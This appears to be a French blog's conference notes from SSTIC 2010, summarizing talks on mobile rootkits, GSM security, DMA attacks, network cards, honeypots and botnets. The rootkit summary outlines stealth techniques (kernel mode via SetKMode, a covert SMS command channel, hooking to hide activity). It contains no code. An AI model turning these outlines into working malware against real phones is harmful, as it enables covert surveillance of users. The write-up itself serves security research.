Making network protocols go crazy

Compte-rendu SSTIC 2010 - jour 3

GR — Tue, 15 Jun 2010 13:11:00 +0200

Vendredi 11 Juin

Bon, là, je me suis levé un peu tard (social event oblige). Donc, veuillez m'excuser pour le manque de détails concernant les présentations du matin ^^ Mais comme je suis un mec sympa, je vais faire de la pub pour le blog d'Erwan, et mettre des liens vers ses notes pour les présentations que j'ai manqué.

Note : Et pourtant, le CO a fait un effort cette année, puisque la première conférence ne débute pas à 9h :)

09:45 - Trusted Computing : Limitations actuelles et perspectives

Frédéric Guihery
Frédéric Remi
Goulven Guiheux

1ère conférence

10:15 - JBOSS AS: exploitation et sécurisation

Renaud Dubourguais

2ème conférence

11:15 - Audit d'applications .NET complexes - le cas Microsoft OCS 2007

Nicolas RUFF

3ème conférence

11:45 - Conférence invitée

Mathieu Baudet

4ème conférence

14:15 - PoC(k)ET, les détails d'un rootkit pour Windows Mobile 6

Cedric Halbronn (Sogeti/ESEC)

L'orateur commence par nous expliquer quels sont les composants classiques des rootkits :

avoir une méthode injection
implanter une backdoor avec un module de communication
se protéger sur la machine compromise (furtivité, redémarrage)
fournir des services

Contraintes spécifiques aux téléphones mobiles :

c'est un système embarqué, il faut bien gérer la mémoire et la batterie
c'est un environnement mobile, hétérogène, avec des méthodes connectivités nombreuses
- il est connecté par intermittence, avec ou sans connexion à Internet
- il possède de multiples canaux de communications (SMS, Internet, USB, WiFi...)
se baser sur les services présent (longue liste)

Pourquoi avoir choisi Windows Mobile pour développer ce rootkit ?

les API Windows Mobile sont les même que sur un PC Windows
très répandu
véritable OS basé sur Windows
c'est du Windows ^^

Le composant d'injection développé ici est par l'insertion d'une SD-card. On peut imaginer aussi en utilisant des méthodes "social engineering" en envoyant un lien Web dans un SMS (lien pointant vers un binaire Windows Mobile). Il est aussi possible d'utiliser un format spécifique des SMS (nommé WAP Push). Il s'agit d'un SMS au format XML (méthode utilisée par le malware Interceptor pour BlackBerry).

Note : certains téléphones exécutent sans confirmation des binaires contenus dans un WAP Push. Mais si l'application n'est pas signée, il y a un popup de confirmation visible à l'utilisateur.

Le rootkit a accès à toutes les API. La première chose à faire est de passer en mode noyau (fonction "SetKMode"). Le modèle de sécurité de Windows Mobile étant pour le moins faible, un processus utilisateur peut appeler cette fonction sans problème. Et vlan, on passe en mode noyau :)

Ensuite, le composant de backdoor doit initialiser la communication TCP/IP depuis le mobile vers l'extérieur (à cause du NAT que la plupart des opérateurs implémentent). Une autre possibilité serait l'utilisation de SMS comme canal de communication (avec une limitation à 140 octets, et le fait que les messages ne doivent pas être visibles à l'utilisateur). C'est l'option retenue pour les tests du rootkit décrit ici.

Un point cruciale lors du développement de ce genre de code malicieux : la gestion de la batterie. En effet, si la batterie se vide plus vite que l'accoutumée, l'utilisateur se rendra compte de quelque chose (toujours le cas BlackBerry). Il faut donc se brancher sur un composant existant dans le téléphone (API hooking, en prenant les commandes AT par exemple) pour se débarrasser de la gestion de la batterie. Aussi, hooker les APIs d'envoi/réception de SMS permet de masquer la fenêtre qui apparait à ce moment là.

Note : un smartphone, c'est 2 CPUs : 1 pour le BaseBand et 1 pour l'OS.

Démo. Outil en interface Web bien flashy pour communiquer avec le rootkit. A la réception d'un SMS, la fonction hookée répond à un ordre donné plus tôt. rootkit pas détectable par les anti-virus actuels.

14:45 - Projet OsmocomBB

Harald Welte

Au niveau de la communication téléphone vers BTS (ou BSC ? voir le fichier pdf pour le schéma d'architecture général), le chiffrement est fait à la couche physique (Layer1). Le processeur BaseBand des téléphones à son propre système d'exploitation (firmware) :

il lui manque les fonctions de sécurité modernes comme une pile non-exécutable, la randomisation des adresses ...
il est écrit en C et assembleur

Description du chipset BaseBand complète :
GSM Phone Anatomy

OsmocomBB : Open Source MObile COMunication, BaseBand

Démo. L'architecture du software permet de sniffer le réseau GSM depuis un PC standard :) Le fonctionnement est assez simple (mais surement pas l'implémentation). On branche le téléphone sur un port série de l'ordinateur, et le téléphone détecte se branchement au démarrage et démarre sur le firmware qui le souhaite. Ce firmware implémente les fonctions BaseBand, et en plus exporte une interface réseau classique pour pouvoir facilement brancher un Wireshark dessus (par exemple). Du coup, un PC peut servir à développer les fonctions réseau GSM de manière beaucoup plus simple.

Note : il existe aussi la couche UMA : c'est du GSM over IP

15:30 - Conférence invitée

Patrick Pailloux (Directeur de l'ANSSI)

Discussion à propos des menaces géo-politiques. L'ANSSI à pour mission principale la cyber-défense. Ce qui inclue la protection :

des infrastructures des hôpitaux
des systèmes de distribution d'énergie
de la sécurité des machines à voter
les infrastructures critiques (nouveau, depuis environ 1 an)
...
large spectre de métiers à couvrir.

Ce travail doit se faire avec les homologues internationaux, ce qui ajoute encore une difficulté.

Dans le cadre des missions de l'ANSSI, les armes ne sont pas du coté de l'État, mais du coté des citoyens. Les armes prolifèrent donc du coté des citoyens, et l'État est quelque peu désarmé. Ainsi, il est difficile d'identifier les acteurs des attaques informatiques.

Un exemple de challenge : il y aura un jour la possibilité de voter sur Internet (au minimum pour les résidents Français à l'étranger). L'ANSSI se doit de trouver une solution suffisamment sécurisée en terme de technique. Autre exemple, le bracelet des prisonniers qui ne doit pas être falsifiable. En même temps, l'ANSSI doit vérifier le niveau de sécurité des infrastructures gouvernementales, et communiquer pour former les citoyens et les industriels (c'est un enouveauté, dans le passé l'agence était plutôt secrète).

L'ANSSI est sensé être l'organisme qui sait répondre à des questions techniques en matière de sécurité au niveau de l'état (parlement, députés, ...).

Note : certains appareils d'IRM fonctionnent sous Windows. Et rien n'avait été prévu pour installer des mises à jour de sécurité. En travaillant avec les hôpitaux, l'ANSSI à permis d'établir une certaine pression envers les fabricants d'IRM pour qu'a l'avenir ces appareils puissent être mis à jour.

Fin du SSTIC 2010

Rendez-vous l'année prochaine les enfants.

Compte-rendu SSTIC 2010 - jour 2

GR — Tue, 15 Jun 2010 10:45:00 +0200

Jeudi 10 Juin

"Ca recommence comme avant".
"Pas tout à fait comme avant".
-- Matrix

09:00 - Présentation des résultats du challenge de reverse du SSTIC

Présentation du classement et remise des prix.

Présentation d'une solution par Arnaud Ebalard NatIsBad :

décompression de l'archive par 7zip
reconstruction de 2 fichiers .apk en analysant le format du fichier extrait
récupération d'un premier message signé (PGP) et chiffré (format spécial)
- chiffrement de type décalage (ROT)
- répondre aux énigmes pour trouver des coordonnées GPS
- un mot de passe est contenu dans une section chiffrée (PGP)

Autre méthode :

reverse de 2 fichiers .smali
collecte des infos des coordonnées
collecte du mot de passe
reverse de la fonction "deriverclef()" contenue dans la bibliothèque libhello-jni.so
- bug dans l'utilisation de la fonction cryptographique : seuls les 2 premiers caractères du mot de passe sont pris en compte (résultat : O7)
on peut ensuite déchiffrer un binaire qui affiche une adresse email (résultat final)

09:45 - Sécurité de la plate-forme d'exécution Java : limites et propositions d'améliorations

Christian Brunette
David Pichardie
Frédéric Guihery
Goulven Guiheux
Guillaume Hiet

Travail collaboratif entre AMOSSYS, l'INRIA et SILICOM.

Constats :

l'implémentation de la plateforme Java de plus en plus complexe.
des vulnérabilités récurrentes.
un mécanisme de contrôle d'accès peu utilisé.

Une question :

Java est-il adéquat pour le développement d'applications de sécurité ?
- Voir les résultats d'évaluation de la sécurité Java par l'ANSSI.

L'architecture Java semble simple sur le papier ; mais elle est plus compliquée en pratique (beaucoup de composants ne passant pas par la JVM pour accomplir des fonctions bas niveau). Il existe 3 vérifications de sécurité lors de l'exécution d'une application Java :

à la compilation (JAVAC)
au chargement des classes (ByteCode Verifier : BCV)
à l'exécution (HIT)

Il existe d'autre mécanismes de sécurité :

un contrôle d'accès orienté code (JPSA)
un contrôle d'accès orienté identité (JAAS)
chargement des classes en utilisant du cloisonnement
vérification de la signature et de l'intégrité des classes

Le composant JPSA est écrit en Java (d'où la nécessité de bien protéger cette partie). Mais la plupart du temps, ce composant est soit inutilisé, soit mal utilisé par les développeurs. Il existe également un certain nombre de problèmes ou de questions à propos de la JVM elle-même :

rémanence des données confidentielles
échappement de la vérification de ByteCode (BCV escape)
quelle confiance dans l'implémentation ("évaluabilité")
- les propriétés sont-elles effectivement assurées dans l'implémentation de la JVM ?
- suppression de certaines vérifications ?
pas ou peu d'intégration avec les protections OS
pas de contrôle d'accès au sein-même de la JVM

Propositions d'amélioration (pour le langage Java "at large") :

guide de développement
guide de configuration et de déploiement
auditer, rechercher des failles
limiter la surface d'attaque
appliquer le contrôle d'accès

Propositions d'amélioration (pour la JVM):

augmenter la confiance dans le module d'exécution
proposer un contrôle fin de la durée de vie des données confidentielles
améliorer l'intégration avec les mécanismes de sécurité de l'OS
implémenter le contrôle d'accès au sein de la JVM
étendre les vérification faites par le BCV

Suivi d'un exemple de modification de code pour appliquer ces propositions : éviter la fuite d'objets partiellement initialisés.

Conclusion :

langage non-parfait, mais au moins pensé dès le départ pour la sécurité
mais certaines classes d'attaques sont non-couvertes de base (injection SQL, par exemple)
des faiblesses dans l'architecture et l'implémentation
faire un effort dans la sécurisation de la bibliothèque de base
augmenter la confiance dans la JVM (trouver le bon compromis performance vs sécurité)

10:15 - Analyse de l'efficacité du service fourni par une I/O MMU

Eric LACOMBE
Fernand LONE SANG

L'I/O MMU est un mécanisme de sécurité permettant de contrer les attaques DMA. C'est une gestion du contrôle d'accès à la mémoire pour les périphériques. Cela fonctionne en ajoutant une couche de virtualisation sur les adresses mémoires (mapping virtuel). Les attaques DMA sont réalisées :

soit depuis le CPU
soit depuis un contrôleur d'E/S

DMA permet un accès directe à la mémoire :

transfert de données entre contrôleur d'E/S et mémoire pour décharger le CPU.
l'I/O MMU s'intercale entre les contrôleurs d'E/S et la mémoire pour contrôler l'accès (limiter les zones mémoires accessibles)
fait de la translation d'adresses mémoire

Intel VT-d implémente l'I/O MMU.

description de l'architecture matériel (MMU, RAM, chipset, DRHU, ...).
c'est de la virtualisation de requête DMA.

Vecteurs d'attaques contre l'I/O MMU :

modification de la configuration d'une DRHU
altération des tables de pages pour donner accès à de nouvelles pages physiques
altération des tables de contexte
altération du registre d'une DRHU (plus difficile à détecter que les autres altérations).
modification du source-id (spoofing du contrôleur d'E/S)

Exemple de scénario d'attaque :

permettre une écoute réseau par exploitation d'une vulnérabilité matérielle
mise en œuvre de l'attaque :
- FireWire et Ethernet partagent une même identité (accès aux mêmes régions mémoire)
- du coup, le contrôleur FireWire peut modifier les trames Ethernet reçues !!
utilisation d'un iPod et de "social engineering" pour rejouer une attaque "pré-enregistrée" lorsqu'il est branché sur le port FireWire de la victime (nécessite le même hardware que l'attaquant, l'attaque étant spécifique au matériel réseau).
l'attaque utilise FireWire pour modifier à la volée les trames ARP de la carte Ethernet victime, et ainsi rediriger le trafic ("ARP poisonning")

Demo. La vidéo tourne sur la victime, il branche l'iPod. Elle s'arrête, et vient tourner sur la machine de l'attaquant. C'est beau.

Conclusion :

la solution qu'est l'I/O MMU possède des limites, la principale étant le partage d'identité (source-id) entre différents contrôleurs d'E/S
nécessite une confiance entre contrôleurs
ne contrôle pas les échanges internes au "southbridge"

Recommandation :

utilisation conjointe de VT-d et VT-x, TxT (TxT protège contre l'attaque de modifications sur les tables de contextes et de pages puisqu'elles sont stockées dans la mémoire principale du système)

11:15 - Quelques éléments en matière de sécurité des cartes réseau

Guillaume Valadon
Loic Duflot
Olivier Levillain
Yves-Alexis Perez

Cette présentation est la même (sauf la démo) que celle donnée à CanSecWest 2010. J'en ai déjà fait un résumé sur ce blog. Mais bon, comme j'aime bien, j'en refait un autre (plus court) ici.

Les cartes réseaux sont devenues très complexes (plusieurs processeurs, firmware, contrôleurs, opérations d'administration à distance, ...). Exploiter les cartes réseaux pour :

empoisonnement ARP, DNS
SSLStrip
bref, tout type d'attaque réseau est imaginable

Cas d'étude : "Broadcom NetXtreme". Lors de celle-ci :

une vulnérabilité a été mise en évidence
elle est exploitable de la même manière quelque soit l'OS (lien).

Cette carte possède un processeur MIPS qui accède à toute la mémoire de la carte, au SMBus, aux paquets entrant/sortant, à l'espace de configuration PCI. La carte possède des fonctions ASF (envoi d'alertes via le réseau) et doit fonctionner même si plus rien ne marche. Elle supporte aussi les "RMCP Security Extensions" (RSP), ainsi que le support de l'authentification et du contrôle d'intégrité. RMCP utilise un protocole tournant sur le port 664/UDP (toutes les requêtes à destination de ce port sont interceptées par la carte réseau, aucune application sur l'OS ne pourront l'utiliser). L'ASF "legacy" utilise lui le port 623/UDP (même punition, l'OS ne verra aucun paquet à destination de ce port).

L'ASF/RMCP est très simple sur UDP. Mais il y a aussi AMT et IPMI qui sont plus complexes, et sur TCP. Dans le cas d'AMT et IPMI, la carte réseau doit implémenter une pile TCP ... risque d'autres vulnérabilités accru.

Démo de compromission à distance.

12:00 - Honeynet Project en 2010

Sebastien Tricaud - PicViz labs (conférence invitée)

Buts du projet :

améliorer la sécurité d'Internet à aucun cout pour le public (tout un programme)
fournir des documents et des outils
organiser des challenges

L'orateur s'attache ensuite à la description de l'organisation du projet. De manière simplifiée, il est découpé en chapitres ; un chapitre représentant un pays (Canada, USA, Mexique, Brésil, France, Allemagne, Espagne, Norvège, Chine, Iran, ...)

Le projet est orienté sur la recherche, et non sur l'opérationnel. Objectifs :

piéger nos ennemis
analyser leurs activités
se renseigner
discuter et échanger
fournir des informations telles que :
- papiers
- KYE (Know Your Enemies)
- KYT (Know Your Tools)

Ces informations sont accessibles via différents média :

site Web
blog (des différents acteurs)
twitter

Exemple de réalisation : travail avec Fyodor ("nmap") pour détecter facilement le vers "Conficker" (travail issu de la recherche du chapitre Allemand). Un script NSE a été écrit pour que tout utilisateur de "nmap" puisse scanner son réseau afin de détecter les machines compromises. Quelques outils :

Glastopf
Google Hack Honeypot

Les honeypots s'articules autours de trois grandes catégories :

serveur/client
haute/basse interaction
analyse

D'autres outils :

Nepenthes : émulateur de vulnérabilités connues.
PhoneyC : honeypot client écrit en Python
- interaction avec des pages Web, téléchargement, analyse, alerte (PhoneyC)

Conférencier : sebastien@honeynet.org (Blog LogViz)

14:30 - La sécurité des systèmes de vote

Frédéric Connes

ABSENT

15:00 - Applications Facebook : Quels Risques pour l'Entreprise ?

Alban Ondrejeck
Francois-Xavier Bru
Guillaume Fahrner

ABSENT

15:45 - Projet OpenBSC

Harald Welte (conférence invitée)

Peu de documentation publique sur les protocoles GSM/3G. Et du coup, quasiment aucune évaluation de la sécurité de l'implémentation sur ceux-ci. Les entreprises ne livrent aucune documentation ("closed minded"). Même les gros clients (les opérateurs) de ces produits ("manufacturers") ne reçoivent que peu de documentation, et aucun code source. Peu de personnes connaissent vraiment la suite complète de protocoles. Ils connaissant juste ce qui est nécessaire au bon fonctionnent opérationnel.

GSM, c'est bien plus que la gestion des communications téléphoniques. On trouve également ce protocole dans les endroits suivants :

BWM peut ouvrir/fermer les portes d'une voiture
les systèmes d'alarmes
applications de "Smart Metering"
GSM-R (système de contrôle de train européen : "European Train Control System"
les caisses enregistreuses des supermarchés quand quand la caisse est pleine
numéros de transaction pour le commerce électronique

Les implications sécurité :

personne ne connait les détails des protocoles et du réseau GSM à part les fabricants
pas de recherches indépendantes en sécurité
pas d'implémentations "open source" (of course, j'ai envie de dire)
retard de 10 ans par rapport à la sécurité sur les protocoles régissant l'Internet
- pas de firewall, de filtrage ou de détection d'intrusion
- les opérateurs comptent seulement sur le fait que 'ça va marcher comme prévu'
- pas de stratégie de gestion des incidents

Des problèmes de spécification :

chiffrement optionnel
manque d'authentification mutuelle
appels 'silencieux'
obtention des coordonnées GPS de l'appareil via les protocoles RRLP et SUPL (invisible pour l'utilisateur)

Des problèmes d'implémentation :

fuite de l'information TMSI au changement de réseau
des parsers TLV peu testés
options obscures et peu testées

Des problèmes d'opérationnel :

débordement de champ VLR
ré-allocation TMSI trop peu fréquente

Mais par où débuter la recherche sécurité ?

à partir du combiner de téléphone ?
- certains ont tenté, mais trop difficile (pas d'accès au hardware)
- tentatives comme TSM30 (THC GSM), mados pour les Nokia DTC3
à partir de la couche réseau ?

Premières étapes :

obtenir les spécifications GSM : > 1000 documents PDF
obtenir un équipement réseau GSM (BTS)
obtenir des traces réseaux

Note : dans une démo publique, il a fait sonner tous les téléphones de l'assistance ^^

C'est une suite complexes de différentes interfaces avec leurs protocoles associés. Pour l'interface réseau GSM :

Layer1 : Radio Layer
Layer2 : LAPDm
Layer3 : Radio Resource, Mobility Management, Call Control
Layer4+ : USSD, SMS, LCS

Pour l'interface A-bis, une autre suite de protocoles ...

Il a démarré ses recherches en 2006. En 2008, il a réussit à faire apparaitre son antenne comme un vrai réseau pour son téléphone. 01/2010 : les 25 premières antennes OpenBSC tournent chez des opérateurs. Mais toutes les fonctionnalités GSM ne sont pas implémentées :

support des équipements BS-11 BTS (E1) et ip.access nanoBTS (IP Based)
roaming, et envoi de SMS

Note : les iPhones crashent facilement à cause de paquets ne respectant pas les spécifications. L'orateur n'a même pas eu besoin d'utiliser du fuzzing pour s'en apercevoir ...

Problèmes connus des GSM :

pas d'authentification mutuelle
algorithme de chiffrement faible
et puis, de toute façon, le chiffrement est optionnel (et l'utilisateur ne sait pas si c'est on ou off)
le réseau GSM peut demander au téléphone sa position GPS exacte
des features obscures de part les spécifications :
- demander à un téléphone d'appeler tel numéro
- d'envoyer un FAX par SMS

Utilisation de Scapy pour coder les différentes couches réseau.

Il peut maintenant envoyer des données :

depuis un rogue network vers les téléphones (OpenBSC, OpenBTS)
depuis un proxy A-bis vers le réseau ou les téléphones

Liens : GSM Phone Anatomy
OpenBSC
OpenBTS
OsmocomBB

Note : environ 7/8 personnes à développer ce code.

16:45 - Rump Sessions

Les habituelles rumps, mais avec rien de vraiment extra-ordinaire cette année. Ah si, l'excellent Netglub de l'ami Guillaume Prigent.

Compte-rendu SSTIC 2010 - jour 1

GR — Mon, 14 Jun 2010 15:06:00 +0200

Mercredi 9 Juin 2010

Comme tous les ans, l'amphi est plein. Toujours difficile de trouver une place assise, c'est un peu lourd. Mais bon, je ne vais pas commencer par me plaindre ^^ Aller, c'est partie pour another compte-rendu du SSTIC 2010.

10:00 - Systèmes d'information : les enjeux et les défis pour le renseignement d'origine technique

Bernard Barbier - Directeur Technique (DGSE)

Une conférence par une personne de la DGSE est Probablement une première, du fait de la confidentialité des informations traitées. Le but est de délivrer un message aux experts sécurité que nous représentons.

La DGSE est mandatée pour accomplis certaines missions. Ces missions sont définies par un décret de 1982. Une nouvelle organisation dans la "communauté du renseignement" qui est apparu suite à l'élection de N. Sarkozy. L'organisation est complexe, on peut citer les entités suivantes :

SGDDSN, ANSSI, DCRI,DRM, DGSE, DPSD, DNRED, TRACFIN
environ 3000 personnes

Les priorités :

contre-terrorisme
contre-prolifération des armes
contre-espionnage
lutte contre la criminalité
lutte contre la cyber criminalité

Missions de la Direction Technique :

voir (satellites de surveillance, exemple : satellite Helios (http://fr.wikipedia.org/wiki/Helios_(satellite))
sentir (par des capteurs physiques : pression, température, tremblements, radio-activité)
écouter (interception des communications, interception de proximité (via un matériel à base de laptop, mais pas en France puisque c'est illégal ^^))

Missions plus informatiques :

rétro conception (casser la crypto, par exemple)
- développement d'un calculateur à base de FPGA
- probablement le plus gros centre informatique d'Europe (après les Anglais)
traitement des métadonnées (le contenant, le contenu)
- traduction des langues étrangères (outils de transcription automatiques pour passer de l'oral à l'écrit)
- des péta-octets de données stockées (être capable de remonter à des données de plusieurs années pour faire, par exemple, un lien complet entre les appels téléphoniques et la chaine des personnes impliquées)
géolocalisation (être capable de lier position et image)

Et surtout, être capable de coupler toutes ces disciplines pour avoir une vue globale.

Exemple de réalisation : libération des otages Français retenus à l'étranger.

La France est dans le TOP5 : USA, GB, Israël, Chine.

La lutte informatique vue de la DGSE :

un enjeu majeur de souveraineté
près de 10 ans de retard par rapport aux autres pays du TOP5
responsable de l'attaque, mais savoir se défendre en premier
- comment faire confiance au hard/soft étranger (routeurs, anti-virus)
on détecte mal les incidents (au moins comparé aux USA)
- être capable de les détecter
réinventer la sécurité de SCADA (pas pensé sécurité au départ)
être capable de LIO/LID (Lutte Informatique Offensive/Défensive)
- intrusion par exploitation de failles, social engineering par email, laisser trainer une clé USB, ..., bref les méthodes d'intrusion classiques (mais pas depuis la France, c'est illégal ^^)
- très sensibles, ne pas laisser de traces (discrétion, et durée).
- agir à l'extérieur de la France pour ne pas enfreindre la loi française
- être anonyme

La DGSE, c'est surtout deux organismes différents (l'un orienté attaque, l'autre défense)

comment les faire travailler ensemble ?
mais d'abord mettre en place la défense
énormément de failles dans nos systèmes, les attaquants on peut-être 10 ans d'avance
LIO est surtout utilisée pour affaiblir le système de la cible pour permettre l'écoute

Note : la DGSE a des 0days.

11:15 - Tatouage de données d’imagerie médicale – Applications et Méthodes

Gouenou Coatrieux (Telecom Bretagne)

Description du watermarking (embedder, reader, shared key). Applications : copyright protection, finger printing, contrôle d'intégrité, data hiding, self-correcting image ...

Deux grandes classes : data protection, data hiding.

WM pour vérifier l'intégrité de l'image et son authenticité. C'est un outil complémentaire à la crypto, il ne se substitue pas à celle-ci.

Applique un hash sur les modifications à l'embedder. Puis le hash est extrait via la clé pour vérification de la signature.

Tatouer le dossier médical dans l'image :

mais grande quantité d'info.
d'où l'idée du data hiding

Comment tatouer des images sensibles (ne pas modifier l'information utile).

utilisation d'un WM lossless (être capable d'enlever la marque)
mais la sécurité est abaissée

Il faut trouver le bon compromis. Et ce n'est de toute façon pas aussi bon que la crypto. Besoin d'un standard pour évaluer la distorsion des images médicales.

12:00 - Visualisation et Analyse de Risque Dynamique pour la Cyber-Défense

Philippe Lagadec (OTAN)

Concerne uniquement la défense informatique.

c'est une priorité pour l'OTAN
guider une implémentation opérationnelle avec l'industrie

Quatres phases : "Observe", "Orient", "Decide", "Act"

"Observe" => IDS, logs, supervision, forensics
"Orient" => corrélation, analyse, détection avancée, visualisation
"Decide" => recommandation de réponses, simulation, aide à la décision
"Act" => application de la réponse (auto ou non), reconfiguration dynamique du réseau.

Aujourd'hui, uniquement "Observe", et un petit peu de "Orient".

Avoir réponse a une question majeure : comment est l'infrastructure en temps réel (failles, machines compromises, machines soumises à un risque d'intrustion, ...).

Énormément d'outils générant de l'information sur le réseau : "NIDS", "HIDS", "firewall", "syslog", anti-virus, vulnérabilités, ...

mais difficulté à unifier leur format pour consolider l'information.
utilisation d'outils de type "SIEM".
très difficile de visualiser de manière synthétique.

Visualisation : prototype "CIAP" ("Consolidated Information Assurance Picture") :

Information Modem
Data Repository
User Interface
Application Interface

Voir en temps réel les vulnérabilités et les attaques en cours.

Démo de l'outil (interface Web de visualisation).
Outil RadialNet fournit avec nmap
Vue Treemap

Permet l'analyse de risque dynamique ("DRA", "Dynamic Risk Analysis"). Processus :

construction complète de la description du système depuis l'outil "CIAP"
génération du graphe d'attaque ("Exposure")
MAJ de l'analyse de risque ("Risks")

Différents états possibles des machines du réseau : normal, vulnérable, exposé, compromis.

puis démo de l'outil de "DRA" (interface Web également)

12:30 - CASTAFIOR : Détection automatique de tunnels illégitimes par analyse statistique

Fabien Allard
Mathieu Morel

But : détecter l'utilisation du proxy HTTP pour faire passer un tunnel TLS (exemple : détection du P2P et de backdoors communiquant en HTTPS).

Options possibles pour atteindre ce but :

cryptanalyse des flux (couteux en ressources)
coupure de chiffrement (atteinte en confidentialité)
reconnaitre le protocole à l'origine du flux par analyse statistique/comportementale (option retenue)

Objectif : déterminer le protocole à l'origine du flux chiffré.

Hypothèse : chaque protocole a un comportement caractéristique:

échanges de paquets, tailles et temps inter-paquets
c'est une empreinte qui est observable après chiffrement/encapsulation dans HTTPS

Idée : extraire les paramètres pertinents, puis comparer ces paramètres à un modèle statistique.

Fonctionnement :

BDD d'apprentissage
projection de chaque observation
construction d'un modèle
classificiation des flux à la volée à partir du modèle.

Sélection des paramètres à extraire des flux par un algorithme de sélection automatique en utilisant les plus discriminants. Puis applications de 6 méthodes d'apprentissage statistiques pour trouver la plus pertinente dans le cas présent.

l'algorithme RandomForest retenu (une forêt d'arbres de décision)

Puis développement d'une autre méthode basée sur les Modèles de Markov Cachés ("MMC") pour une classification probabiliste.

Démo :

outil basé sur une interface Web (encore)
tests basés sur la récupération de nombreux flux
taux de bonne classification > 96%
temps de classification très rapide (~ 45s pour l'apprentissage, et moins de 0.5s pour classifier un nouveau flux)

Note : l'outil analyse le flux complet, et pas seulement les premiers paquets.

Conclusion :

taux de fausses alarmes encore trop élevé
pas de détection sur protocoles inconnus
reste à analyser les méthodes de contournement

14:45 - Réflexions pour un plan d'action contre les botnets

Eric Freyssinet (conférence invité) (Lieutenant-colonel en Gendarmerie)

Présentation de l'organisation de son service en France (et DOM-TOM). Il existe un lien avec Interpol pour lutter contre les botnets. Environ 100000 gendarmes au niveau national.

Les botnets sont responsables :

de 85/90% du spam selon les sources
de phishing
de distribution de logiciels malveillants
de collecte de données personnelles
d'attaques en DDoS

Les botnets sont commercialisés : loués, vendus, reloués, .... Les organisation derrières ceux-ci sont parfois mafieuses.

Quelques exemples :

hébergeur Atrivo sans scrupules. Fermé en septembre 2008 mais relocalisé ensuite.
l'affaire McColo ... hébergeur fermé, mais les personnes n'ont pas été identifiées. Le niveau de spam a baissé suite à cette fermeture, mais il a repris son niveau normal au bout de quelques semaines.
Microsoft qui fait tomber Waledec.
l'affaire Mariposa (02/2010). Identification de 3 personnes contrôlant ce botnet. La société vendant ce service a aussi été identifiée (BufferFly Flooder).

L'orateur nous parle ensuite de ses réflexions articulées autour de trois axes : prévention, détection, réaction. Il existe de nombreux acteurs responsables des botnets : développeurs, revendeurs, pasteurs (herders), mules, commanditaires, hébergeurs, clients, victimes.

Éléments de prévention :

sensibilisation des utilisateurs
mesures de sécurisation (opérateurs, entreprises, ...)
sensibiliser la population (éviter les mules, par exemple)

Éléments de détection:

groupes de travail (lutte contre le spam, phishing, ...)
entreprises (Team Cymru, ShadowServer, Eurecom "FIRE")

Tous ces éléments de détection génèrent de la données brute de collecte. Malheureusement, il n'existe pas de format standardisé pour partager celles-ci. Néanmoins, il existe des propositions telles que :

un language commun pour la collecte de données
- IODEF "Incident Object Description Exchange Format" (RFC 5070)

Un autre point est le stockage de ces données. Il existe un base plus ou moins commune aujourd'hui : "Cyborg". Il reste tout de même à trouver une méthodologie pour que les différents acteurs de la détection puissent travailler ensemble de manière efficace.

Enfin, le volet réaction :

groupe de travail Interpol "Working Party on IT Crime - Europe"
rapports sur le crime dans les mondes virtuels
groupe de travail Interpol "Botnet project"
- prouver qu'il est possible d'identifier et faire fermer un botnet
- des invités de la "Team Cymru"

Quelques pistes législatives :

actions maitrisées sur les réseaux
- bloquer la propagation des menaces
- prendre le contrôle de botnets et forcer le nettoyage
- utiliser le botnet pour nettoyer les machines infectées (interdit aujourd'hui)
considérer l'envoi de spam comme un délit (en fonction d'un certain seuil)

15:30 - virtdbg: un débogueur noyau utilisant la virtualisation matérielle

Christophe Devine
Damien AUMAITRE

Pour débuguer un programme sous Windows, il existe le mode de boot "DEBUG". Malheureusement, ce mode désactive certaines protections Windows tel que "PatchGuard" ou les "DRM". La présentation s'attache au développement d'un débugueur pour Windows 7 64-bits qui contourne ces limitations. Quelques problèmes se posent ensuite, tels que la signature des "drivers" (un débuguer efficace doit tourner en mode "driver").

Mais ensuite comment hooker l'IDT si PatchGuard est activé ? Et comment contourner la vérification de la signature d'un "driver" ?

la réponse est l'utilisation de "DMA" sur bus "PCI" pour exécuter du code arbitraire, et ainsi charger un "driver" non signé.

Le "driver" établira un canal de communication utilisant l'accès "DMA" en mémoire physique. Avantages et but de la solution "VirtDbg" :

grande furtivité (comme "BluePill").
empreinte minimal sur la cible (déport des fonctions vers le client).
utiliser le moins possible les fonctions de l'OS.
utilisation d'une carte "PCMCIA" pour communiquer avec le "DMA" (voir SSTIC 2008 et SSTIC 2009).
- utilisation d'une "CardBus" avec un "FPGA" (utilisation de "VHDL" pour simuler un processeur "MIPS").
utilisation d'un composant de type hyperviseur ("driver"). Virtualisation a chaud comme "BluePill" (pour l'instant, utilisation de VT-x uniqement).

Démo.

Problème, charger l'hyperviseur pendant que "PatchGuard" ne regarde pas. Il ne regarde pas tout le temps certaines fonctions de l'"IDT". Et ça marche. Hyperviseur de 600/800 lignes environ. Puis utilisation de "Metasm" pour parler le "stub" "GDB".

Conclusion : - debugueur furtif qui accède à tout en contournant les protections Windows - traçage de code malicieux très haut niveau

16:30 - Analyse de programme par traçage

Daniel Reynaud
Jean-Yves Marion
Wadie Guizani

Dans cette présentation, les orateurs nous parlerons d'analyse dynamique de programmes à des fins d'aide à l'analyse statique. Les traces ont l'avantage d'être des objets "propres". On peut décorréler deux tâches :

extraction des traces
analyse

Utilisation de "TEMU" (basé sur "QEMU") pour l'analyse dynamique, puis de "Vine" pour l'analyse statique. L'outil développé se nomme "TraceSurfer", et il permet la détection des comportements d'auto-modification. Aujourd'hui, la grande majorité des programmes malicieux utilisent cette technique pour rendre difficile le "reverse engineering". Grâce à l'outil "TraceSurfer", la partie fastidieuse de suppression de l'auto-modification devient bien plus aisée. L'outil permet la visualisation de la protection binaire mise en place (de type packers, UPX, Temida, ...). L'outil génère une trace d'exécution dynamique qui sera ensuite utilisée par un plugin "IDA".

Note : Voir aussi "Pin" (pintool.org) pour l'extraction des traces.

"TraceSurfer" : 160 lignes de C++ et 750 de Python. Basé sur l'outil Pin.

Code source : Tartetatintools
Indefinit Studies

17:00 - Intéressez vous au droit... avant que le droit ne s'intéresse à vous

Eric Barbry (cabinet Alain Bensoussan) (conférence invitée)

L'année 2010 est exceptionnelle au niveau des modifications sur le droit de notre métier. Description des casquettes du DSI/RSSI en 2009. Beaucoup de casquettes, et en plus du droit. En 2010, le DSI/RSSI devrait devenir un juriste à cause de toutes ces nouvelles lois. Nouvelle menace : le phishing dans l'entreprise. Voir les 10 conseils de la CNIL pour sécuriser son SI.

Note : clause à 7000 € sur le Cloud computing est inacceptable.

Une présentation "style one-man-show" qu'il est difficile de résumer ici.

